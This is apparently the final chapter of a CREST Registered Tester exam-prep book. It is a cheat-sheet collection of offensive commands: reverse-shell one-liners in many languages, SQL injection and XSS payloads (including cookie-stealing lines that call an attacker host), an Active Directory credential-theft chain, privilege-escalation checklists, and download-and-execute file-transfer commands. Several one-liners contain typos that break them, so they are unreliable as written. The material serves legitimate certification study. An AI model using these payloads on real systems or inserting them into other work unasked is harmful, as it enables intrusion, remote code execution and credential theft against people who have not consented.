12.5.5 PHP

```
php -r '$sock=fsockopen("<IP>",<PORT>");exec("/bin/sh -i <&3 2>&3");'
php -r '$sock=fsockopen("<IP>",<PORT>");shell_exec("/bin/sh -i <&3 >&3 2>&3");'

# As a web shell
<?php $sock=fsockopen("<IP>",<PORT>");exec("/bin/sh -i <&3 >&3 2>&3"); ?>
```

12.5.6 Perl

```
perl -e 'use Socket;$i="<IP>";$p=<PORT>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_n($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
```

12.5.7 Ruby

```
ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("<IP>",<PORT>))'
ruby -rsocket -e'f=TCPSocket.open("<IP>",<PORT>).to_i;exec sprintf("/bin/sh -i <&md 2>&md",f,f,f)'
```

12.5.8 Node.js

```
require('child_process').exec('bash -c "bash -i >& /dev/tcp/<IP>/<PORT> 0>&1"')
```

12.5.9 Java

```
Runtime r = Runtime.getRuntime();
Process p = r.exec(new String[]{" /bin/bash", "-c", "exec 5</dev/tcp/<IP>/<PORT>;cat <&5 | while read line; do $line 2>&5 >&5
e"});
p.waitFor();
```

12.5.10 PowerShell

```
# Classic
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('<IP>",<PORT>');$stream = $client.GetStream();[byte[]]
s = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEnc
oding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$se
ndbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Clos
e()"

# Base64-encoded for cleaner injection
$payload = "<above one-liner>"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($payload)
$encoded = [Convert]::ToBase64String($bytes)
# Then: powershell -EncodedCommand <encoded>
```

12.5.11 Windows-Specific

```
# msfvenom for staged
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe -o shell.exe

# Generate a simple netcat-style with ncatt
ncat <IP> <PORT> -e cmd.exe
```

12.5.12 Listener

Always start the listener BEFORE triggering the payload:

```
# Plain
nc -lvnp <PORT>
ncat -lvnp <PORT>

# With auto-stabilising rlwrap (handy)
rlwrap nc -lvnp <PORT>

# Pwncat-cs (Python rewrite, much better than nc for upgrading)
pwncat-cs -lp <PORT>
```

12.5.13 Stabilising a Shell (Linux)

After catching a basic shell:

```
# Step 1: spawn a TTY
python3 -c 'import pty;pty.spawn("/bin/bash")'
# (or python -c, or script /dev/null, or socat - even simpler)

# Step 2: background the shell
^Z

# Step 3: configure local terminal
stty raw -echo; fg
# Press enter twice

# Step 4: set environment
export TERM=xterm-256color
export SHELL=bash

# Step 5: set rows/columns to match your terminal
stty rows 40 cols 120
```

12.5.14 Stabilising via socat (preferred when available)

```
# Listener
socat file:`tty`,raw,echo=0 tcp-listen:<PORT>

# Payload (from victim with socat installed)
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<IP>:<PORT>

# This gives a fully interactive PTY shell from the start
```

12.6 SQL Injection Payload Reference

12.6.1 Detection Probes

```
'          -- single quote
"          -- double quote
'--       -- single quote + comment
'#        -- single quote + MySQL comment
\         -- backslash
1' OR 1='1 -- classic auth bypass
1' OR 1=1-- -- with comment
admin'--   -- comment out password check
admin' #   -- MySQL variant
admin'/*   -- alternate comment
') OR ('1'='1 -- with closing paren
')) OR (('1'='1 -- double paren
```

12.6.2 Boolean Tests

```
?id=1' AND 1=1-- -- baseline true
?id=1' AND 1=2-- -- false (response should differ)
```

12.6.3 Time-Based by DBMS

```
-- MySQL
?id=1' AND IF(1=1,SLEEP(5),0)--
?id=1' AND SLEEP(5)--

-- PostgreSQL
?id=1' AND PG_SLEEP(5)--
?id=1' AND CASE WHEN (1=1) THEN PG_SLEEP(5) ELSE PG_SLEEP(0) END--

-- MSSQL
?id=1'; WAITFOR DELAY '0:0:5'--
?id=1' IF (1=1) WAITFOR DELAY '0:0:5'--

-- Oracle
?id=1' AND DBMS_PIPE.RECEIVE_MESSAGE('a',5)='1
```

12.6.4 UNION-Based Extraction

```
-- 1. Find column count
?id=1' ORDER BY 1--
?id=1' ORDER BY 2--
?id=1' ORDER BY 3--          -- error here = 2 columns

-- 2. Find which columns are reflected
?id=1 UNION SELECT 'a','b'--

-- 3. Database fingerprint
?id=1 UNION SELECT @@version, NULL--          -- MySQL/MSSQL
?id=1 UNION SELECT version(), NULL--          -- PostgreSQL
?id=1 UNION SELECT banner, NULL FROM v$version--          -- Oracle
?id=1 UNION SELECT sqlite_version(), NULL--          -- SQLite

-- 4. List databases
?id=1 UNION SELECT schema_name, NULL FROM information_schema.schemata--          -- MySQL/MSSQL
?id=1 UNION SELECT datname, NULL FROM pg_database--          -- PostgreSQL
?id=1 UNION SELECT username, NULL FROM all_users--          -- Oracle

-- 5. List tables
?id=1 UNION SELECT table_name, NULL FROM information_schema.tables--          -- MySQL/MSSQL/PG
?id=1 UNION SELECT table_name, NULL FROM all_tables--          -- Oracle
?id=1 UNION SELECT name, NULL FROM sqlite_master WHERE type='table'--          -- SQLite

-- 6. List columns
?id=1 UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name='users'--
?id=1 UNION SELECT column_name, NULL FROM all_tab_columns WHERE table_name='USERS'--          -- Oracle

-- 7. Extract data
?id=1 UNION SELECT username, password FROM users--
?id=1 UNION SELECT CONCAT(username,':',password), NULL FROM users--
```

12.6.5 Useful Extracted Functions by DBMS

What	MySQL	MSSQL	PostgreSQL	Oracle
Version	<code>@@version</code>	<code>@@version</code>	<code>version()</code>	<code>(SELECT banner FROM v\$version)</code>
Current user	<code>USER()</code>	<code>SUSER_NAME()</code>	<code>current_user</code>	<code>SYS_CONTEXT('USERENV','SESSION_USER')</code>
Current DB	<code>DATABASE()</code>	<code>DB_NAME()</code>	<code>current_database()</code>	<code>(SELECT global_name FROM global_name)</code>
Hostname	<code>@@hostname</code>	<code>@@SERVERNAME</code>	<code>inet_server_addr()</code>	<code>SYS_CONTEXT('USERENV','HOST')</code>
Concat	<code>CONCAT(a,b)</code>	<code>a + b</code>	<code>a b</code>	<code>a b</code>
Comment	<code>--</code> or <code>#</code>	<code>--</code> or <code>/* */</code>	<code>--</code>	<code>--</code>

12.6.6 sqlmap Quick Reference

```

# Detection
sqlmap -u "http://target/page.php?id=1" --batch
sqlmap -r request.txt --batch

# Increase aggressiveness
sqlmap -u "..." --level 5 --risk 3

# Enumeration
sqlmap -u "..." --batch --dbs # databases
sqlmap -u "..." --batch -D dbname --tables # tables
sqlmap -u "..." --batch -D dbname -T users --columns # columns
sqlmap -u "..." --batch -D dbname -T users --dump # dump

# OS / file
sqlmap -u "..." --batch --os-shell
sqlmap -u "..." --batch --file-read=/etc/passwd
sqlmap -u "..." --batch --file-write=local.php --file-dest=/var/www/html/shell.php

# Cookie injection
sqlmap -u "..." --cookie "session=xyz" --level 2

# POST data
sqlmap -u "..." --data "user=admin&pass=test" --batch

# Specific parameter only
sqlmap -u "..." -p id

# Specific technique only
sqlmap -u "..." --technique=B # B/E/U/S/T/Q for boolean/error/union/stacked/time/inline

```

12.7 XSS Payload Library

12.7.1 Basic Probes

```

<script>alert(1)</script>
<script>alert(document.domain)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<input autofocus onfocus=alert(1)>
<details open ontoggle=alert(1)>
"><script>alert(1)</script>
"><img src=x onerror=alert(1)>
'-alert(1) -'
"-alert(1) -"
javascript:alert(1)

```

12.7.2 Filter Bypasses

```

<!-- Case variation -->
<ScRiPt>alert(1)</sCriPt>
<IMG SRC=x onERROr=alert(1)>

<!-- Backtick alternatives -->
<svg onload=alert`1`>
<img src=x onerror=alert`1`>

<!-- HTML entity encoding -->
<img src=x onerror=&#97;lert(1)>
<img src=x onerror=&#x61;lert(1)>

<!-- Tag mismatch / unusual -->
<a href="javasc&Tab;ript:alert(1)">click</a>
<a href="java&NewLine;script:alert(1)">click</a>
<iframe srcdoc "<script>alert(1)</script>">

<!-- No quotes / no parens (filter bypass) -->
<svg onload=alert(/1/)>
<svg onload=alert`1`>

<!-- Without word 'script' -->
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
<a onmouseover=alert(1)·X</a>
<input onfocus=alert(1) autofocus>

<!-- Attribute breakouts -->
" autofocus onfocus=alert(1) x="
" onmouseover="alert(1)
'></textarea><script>alert(1)</script>

<!-- Polyglot (works in many contexts) -->
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+'/'+/onmouseover=1/+/[*/[]/+alert(42);//'+>

```

12.7.3 Cookie Stealing (PoC)

```
<script>new Image().src='http://attacker/?c='+encodeURIComponent(document.cookie)</script>
<script>fetch('http://attacker/?c='+encodeURIComponent(document.cookie))</script>
```

12.7.4 CSRF Token Theft via XSS

```
<script>
fetch('/admin/users')
.then(r => r.text())
.then(t => {
  var token = t.match(/name="csrf" value="([^\"]+)/)[1];
  fetch('/admin/delete-user', {
    method: 'POST',
    body: 'csrf=' + token + '&id=victim',
    headers: {'Content-Type': 'application/x-www-form-urlencoded'}
  });
});
</script>
```

12.8 Active Directory Attack Chain Quick Reference

12.8.1 No Credentials Yet

```
# 1. SMB null session enumeration
nxc smb 10.10.10.10 -u '' -p ''
nxc smb 10.10.10.10 -u 'guest' -p ''
rpcclient -U "" -N 10.10.10.10
> enumdomusers
> enumdomgroups
> querydomaininfo

# 2. LDAP anonymous query (RootDSE)
ldapsearch -x -H ldap://10.10.10.10 -s base -b "" "(objectClass=*)" "" "+"

# 3. Username enumeration via Kerberos (no creds, no AD logon -> bypasses lockout)
kerbrute userenum --dc 10.10.10.10 -d corp.local /usr/share/seclists/Names/xato-net-10-million-usernames.txt

# 4. AS-REP roast against the user list
impacket-GetNPUsers corp.local/ -dc-ip 10.10.10.10 -usersfile users.txt -no-pass -format hashcat -outputfile asrep.txt

# 5. Crack
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
```

12.8.2 With Low-Privileged Credentials

```
# 1. Validate creds work
nxc smb 10.10.10.10 -u jdoe -p 'Password123!'

# 2. Enumerate everything
nxc smb 10.10.10.10 -u jdoe -p 'Password123!' --users
nxc smb 10.10.10.10 -u jdoe -p 'Password123!' --groups
nxc smb 10.10.10.10 -u jdoe -p 'Password123!' --pass-pol
nxc smb 10.10.10.10 -u jdoe -p 'Password123!' --shares
nxc smb 10.10.10.0/24 -u jdoe -p 'Password123!' --shares # all hosts

# 3. Kerberoast
impacket-GetUserSPNs -dc-ip 10.10.10.10 -request corp.local/jdoe:'Password123!' -outputfile spn.txt
hashcat -m 13100 spn.txt /usr/share/wordlists/rockyou.txt

# 4. Password spray (after checking lockout policy)
nxc smb 10.10.10.10 -u users.txt -p 'Spring2025!' --continue-on-success

# 5. BloodHound collection
bloodhound-python -u jdoe -p 'Password123!' -d corp.local -ns 10.10.10.10 -c All

# 6. SMB share hunting (look for credentials)
nxc smb 10.10.10.0/24 -u jdoe -p 'Password123!' -M spider_plus
nxc smb 10.10.10.0/24 -u jdoe -p 'Password123!' -M gpp_password
nxc smb 10.10.10.0/24 -u jdoe -p 'Password123!' -M slinky # plant link to capture hashes (loud)
```

12.8.3 With Local Admin Hash on Any Host

```
# 1. Verify
nxc smb 10.10.10.50 -u administrator -H 31d6cfe0... --local-auth

# 2. Dump SAM/LSA
impacket-secretsdump -hashes :31d6cfe0... administrator@10.10.10.50

# 3. Check whether the same hash works on other hosts
nxc smb 10.10.10.0/24 -u administrator -H 31d6cfe0... --local-auth --continue-on-success

# 4. From any host with the local admin hash, dump LSASS for cached domain creds
nxc smb 10.10.10.50 -u administrator -H 31d6cfe0... --local-auth -M lsassy
```

12.8.4 With Domain User That Has Local Admin Somewhere

```
# 1. Identify hosts where domain user is local admin (BloodHound: "Find Computers where User is Local Admin")
nxc smb 10.10.10.0/24 -u jdoe -p 'Password123!' --continue-on-success
# (Pwn3d!) annotation = local admin

# 2. Lateral move
evil-winrm -i 10.10.10.50 -u jdoe -p 'Password123!'
impacket-psexec corp.local/jdoe:'Password123!'@10.10.10.50

# 3. Dump credentials on that host
impacket-secretsdump corp.local/jdoe:'Password123!'@10.10.10.50

# 4. Look for cached domain admin hashes -> DA
```

12.8.5 With DCSync Rights (e.g., as Domain Admin or via ACL abuse)

```
# Dump everyone's NTLM
impacket-secretsdump -just-dc-ntlm corp.local/jdoe:'Password123!'@10.10.10.10

# Specific user
impacket-secretsdump -just-dc-user Administrator corp.local/jdoe:'Password123!'@10.10.10.10

# Krbtgt hash for golden ticket
impacket-secretsdump -just-dc-user krbtgt corp.local/jdoe:'Password123!'@10.10.10.10
```

12.9 Linux Privesc Checklist

```

# === ALWAYS RUN THESE ON ANY NEW LINUX FOOTHOLD ===

# 1. Identity & version
id
uname -a
cat /etc/os-release

# 2. SUDO (the cheapest win)
sudo -l

# 3. SUID/SGID
find / -perm -u=s -type f 2>/dev/null
find / -perm -g=s -type f 2>/dev/null

# 4. Capabilities
getcap -r / 2>/dev/null

# 5. Cron
cat /etc/crontab
ls -la /etc/cron.* /var/spool/cron/

# 6. Writable files in interesting places
find / -writable -type f -not -path '/proc/*' -not -path '/sys/*' 2>/dev/null | head -50
find /etc -writable 2>/dev/null
find /opt -writable 2>/dev/null
find /home -writable 2>/dev/null

# 7. World-writable directories
find / -writable -type d -not -path '/proc/*' -not -path '/sys/*' -not -path '/tmp*' 2>/dev/null | head -30

# 8. Recently-modified files (clue to active maintenance/cron)
find / -type f -mmin -60 -not -path '/proc/*' 2>/dev/null

# 9. Known kernel exploits
searchsploit linux kernel ${uname -r | cut -d- -f1}

# 10. PwnKit (CVE-2021-4034)
ls -la /usr/bin/pkexec # if SUID exists -> very likely vulnerable

# 11. NFS shares mounted (potential pivot)
showmount -e localhost 2>/dev/null
cat /etc/exports 2>/dev/null

# 12. Group memberships (docker, lxd, disk, shadow are dangerous)
id
groups
cat /etc/group | grep -E "(docker|lxd|disk|shadow|adm|sudo|wheel):"

# 13. Stored credentials hunt
grep -r -E -i "passw[o0]rd|secret|api[_-]?key" /etc /var/www /opt 2>/dev/null | head
find / -name ".bash_history" 2>/dev/null | xargs cat 2>/dev/null
find / -name ".env" -o -name "*.config" -o -name "*.conf" 2>/dev/null | xargs grep -l -i password 2>/dev/null
find / -name "id_rsa*" -o -name "id_ed25519*" 2>/dev/null

# 14. Run linpeas (the silver bullet)
curl -sL https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

```

12.10 Windows Privesc Checklist


```

:: === ALWAYS RUN ON ANY WINDOWS FOOTHOLD ===

:: 1. Identity & privileges
whoami /all
whoami /priv

:: 2. System info
systeminfo
hostname
wmic qfe list brief

:: 3. Users and groups
net user
net localgroup administrators
net user /domain
net group "Domain Admins" /domain

:: 4. Network
ipconfig /all
arp -a
netstat -anob
route print

:: 5. Logged-on users
qwinsta
query user

:: 6. Running processes
tasklist /v
tasklist /svc

:: 7. Services
sc query state= all
wmic service get name, displayname, pathname, startmode

:: 8. Unquoted service paths
wmic service get name, displayname, pathname, startmode | findstr /i /v "C:\Windows\\" | findstr /i /v ""

:: 9. Stored credentials
cmdkey /list
runas /savecred /user:administrator cmd :: try if cmdkey /list shows anything

:: 10. Search for credentials in files
findstr /si password *.txt *.xml *.config *.ini 2>nul
findstr /si "password" *.bat *.ps1 *.vbs 2>nul

:: 11. Common credential file locations
type C:\unattend.xml
type C:\Windows\Panther\Unattend.xml
type C:\Windows\Panther\Unattended.xml
type C:\Windows\system32\sysprep\sysprep.xml
type C:\Windows\system32\sysprep\sysprep.inf

:: 12. AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

:: 13. Autologon
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

:: 14. WinPEAS (the silver bullet)
:: Upload and run winPEASx64.exe

```

PowerShell equivalents:

```

# Identity
whoami /all
whoami /priv

# System
Get-CimInstance Win32_OperatingSystem | select Caption, Version, BuildNumber
Get-CimInstance Win32_QuickFixEngineering | select HotFixID, InstalledOn

# Users
Get-LocalUser
Get-LocalGroupMember Administrators

# Services with weak permissions
Get-WmiObject -Class Win32_Service | Where-Object { $_.PathName -notmatch '^"' -and $_.PathName -match ' ' } | select Name,
DisplayName, PathName, StartMode

# Run PowerUp
. .\PowerUp.ps1
Invoke-AllChecks

```

12.11 File Transfer Reference

12.11.1 Linux Victim, Linux Attacker

```
# Attacker side: serve a file
python3 -m http.server 80
# Or
sudo php -S 0.0.0.0:80

# Victim side: download
curl http://10.10.14.5/file.sh -o file.sh
wget http://10.10.14.5/file.sh

# Or via netcat (no HTTP)
# Attacker: nc -lvnp 4444 < file.sh
# Victim: nc 10.10.14.5 4444 > file.sh

# SCP if SSH is available
scp file.sh user@10.10.10.50:/tmp/
```

12.11.2 Windows Victim, Linux Attacker

```
# Attacker: HTTP server
python3 -m http.server 80

# Victim (cmd.exe):
certutil -urlcache -split -f http://10.10.14.5/file.exe file.exe
bitsadmin /transfer mydl http://10.10.14.5/file.exe C:\Windows\Temp\file.exe

# Victim (PowerShell):
(New-Object Net.WebClient).DownloadFile("http://10.10.14.5/file.exe", "C:\Windows\Temp\file.exe")
Invoke-WebRequest http://10.10.14.5/file.exe -OutFile C:\Windows\Temp\file.exe
iwr http://10.10.14.5/file.exe -OutFile C:\Windows\Temp\file.exe

# In-memory PowerShell execution (no disk write)
IEX (New-Object Net.WebClient).DownloadString("http://10.10.14.5/script.ps1")
IEX (iwr http://10.10.14.5/script.ps1 -UseBasicParsing).Content
```

12.11.3 SMB Server (Linux serving Windows victim)

```
# Attacker
sudo impacket-smbserver share /tmp/share -smb2support
# Or with creds:
sudo impacket-smbserver share /tmp/share -smb2support -username share -password share

# Victim (cmd.exe):
copy \\10.10.14.5\share\file.exe C:\Temp\file.exe
\\10.10.14.5\share\file.exe # run directly from share

# Victim (PowerShell):
Copy-Item \\10.10.14.5\share\file.exe C:\Temp\file.exe
```

12.11.4 Pure-PowerShell Receiver

To exfiltrate data from Windows when you cannot run a server on attacker side easily:

```
# Compress data and copy via base64
$bytes = Get-Content -Path "secrets.txt" -Encoding Byte -Raw
$base64 = [Convert]::ToBase64String($bytes)
$base64 | clip # to clipboard
# Or just print and copy from terminal
```

12.12 Final Checklist for the Exam

A condensed pre-exam checklist:

- ☐ Reviewed all chapters of this book
- ☐ Completed 30+ HTB easy/medium boxes
- ☐ Completed PortSwigger Apprentice + meaningful Practitioner labs
- ☐ Comfortable with: nmap, ffuf, sqlmap, hydra, hashcat, john, evil-winrm, impacket suite, nxc/CrackMapExec, BloodHound, Burp Suite Pro
- ☐ Memorised top 10 hashcat modes and their hash formats
- ☐ Memorised AD attack chain commands without lookup
- ☐ Memorised SUID/sudo privesc flow without lookup
- ☐ Built personal CRESTDrive content
- ☐ Run a full 2.5-hour mock exam inside the official CRT AMI
- ☐ Confirmed exam logistics (date, time, environment, ID, network)
- ☐ Sleep schedule normalised

☐ Know how to ask for help if technical issues arise during the exam

12.13 Closing Thoughts

The CREST Registered Tester certification is achievable. Candidates who fail it generally fail because they did not budget enough time in one of the eight major topic areas, not because of innate inability or incomplete fundamentals.

The most-cited reasons candidates fail:

1. **Inadequate web app preparation** - Web Technologies (Appendix G) covers 23 distinct skill areas; under-preparing here catches many candidates
2. **AD chain not committed to muscle memory** - knowing the steps in theory but not executing them fluently under time pressure
3. **No mock exam** - the first 2.5-hour focused session inside the CRT AMI shouldn't be the real one
4. **Single-path thinking** - 90 minutes spent on one wrong technique
5. **Unhelpful note structure** - lookups taking minutes during the exam

Address these proactively. Practice deliberately. Build muscle memory through repetition.

Good luck.

End of Book

This book covered the full CREST Registered Tester syllabus across:

- Part 1: Exam Introduction and Format
- Part 2: Core Technical Skills (Appendix A)
- Part 3: DNS and Reconnaissance (Appendix B)
- Part 4: Networks (Appendix C)
- Part 5: Network Services (Appendix D)
- Part 6: Microsoft Windows Security Assessment (Appendix E)
- Part 7: Linux/UNIX Security Assessment (Appendix F)
- Part 8: Web Technologies (Appendix G)
- Part 9: Databases (Appendix H)
- Part 10: HackTheBox and TryHackMe Lab Walkthroughs
- Part 11: Exam Strategy and Preparation
- Part 12: Appendices and Cheat Sheets

The total length is approximately 60,000 words across 12 chapters. It is a reference text, not a tutorial; expect to consult it repeatedly rather than read it linearly.

For corrections, additions, or feedback, the assumption is that the candidate using this book is themselves a security practitioner and will adapt the content to their specific exam attempt and the syllabus version current at that time.

Best of luck with the CRT exam.